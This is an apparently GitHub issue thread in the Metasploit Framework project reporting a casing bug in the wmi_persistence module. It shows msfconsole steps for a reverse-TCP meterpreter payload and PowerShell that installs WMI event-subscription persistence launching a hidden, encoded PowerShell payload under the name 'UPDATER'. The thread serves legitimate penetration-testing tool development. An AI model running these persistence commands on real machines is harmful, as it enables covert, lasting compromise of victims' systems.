rapid7 / metasploit-framework

Metasploit Framework
https://www.metasploit.com/
Other
34.33k stars 14.02k forks source link

`exploit/windows/local/wmi_persistence` doesn't work because of inconsistent casing #18837

Closed molecula2788 closed 8 months ago

molecula2788 commented 9 months ago

Steps to reproduce

msf6 exploit(multi/handler) > use exploit/windows/local/wmi_persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/wmi_persistence) > set persistence_method PROCESS
persistence_method => PROCESS
msf6 exploit(windows/local/wmi_persistence) > set session 1
session => 1
msf6 exploit(windows/local/wmi_persistence) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/wmi_persistence) > set lhost 172.23.13.1
lhost => 172.23.13.1
msf6 exploit(windows/local/wmi_persistence) > run

[*] Installing Persistence...
[+]  - Bytes remaining: 15148
[+]  - Bytes remaining: 7148
[+] Payload successfully staged.
[+] Persistence installed!

Expected behavior

On the victim machine, WMI __EventFilter, CommandLineEventConsumer, and __FilterToConsumerBinding objects should be created.

Current behavior

The __FilterToConsumerBinding object is not created.

Metasploit version

v6.3.56-dev

Additional Information

The script that will be executed comes from metasploit-framework/embedded/framework/modules/exploits/windows/local/wmi_persistence.rb:

  def subscription_process
   command = build_payload
   class_name = datastore['CLASSNAME']
   process_name = datastore['PROCESS_TRIGGER']
   <<-HEREDOC
    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
   HEREDOC
  end

The actual powershell that gets executed looks like this:

echo YQvSoepa;    $fmj = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = "UPDATER"; Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= 'CALC.EXE'"; QueryLanguage = 'WQL'}
    $xYkTM = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = "UPDATER"; CommandLineTemplate = "powershell.exe -nop -w hidden -noni -e aQBmACgAWwB..."}
    $bNiO1 = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $qA; Consumer = $p3H}
; echo OsdfTmrR

Notice that the arguments for __FilterToConsumerBinding are Filter = $qA and Consumer = $p3H, instead of $fmj and $xYkTM respectively. That's because in the original script there is an inconsistent casing: $filter/$consumer and $Filter/$Consumer. Then, the obfuscation function sub_vars in metasploit-framework/embedded/lib/ruby/gems/3.0.0/gems/rex-powershell-0.1.99/lib/rex/powershell/obfu.rb sees them as 2 separate variables, because it doesn't take the casing into account.

adfoster-r7 commented 9 months ago

That's an interesting edgecase; Would you be able to put up a PR to fix that?

It might be better to fix the powershell obfuscation library to be case insensitive, but I'm not sure what edgecases there might be there if we make that change - so it might require a quick investigation. Alternatively - potentially updating the powershell script to have consistent casing would work too as an interim solution 👍

molecula2788 commented 9 months ago

Yes, I'll come up with a PR as soon as possible.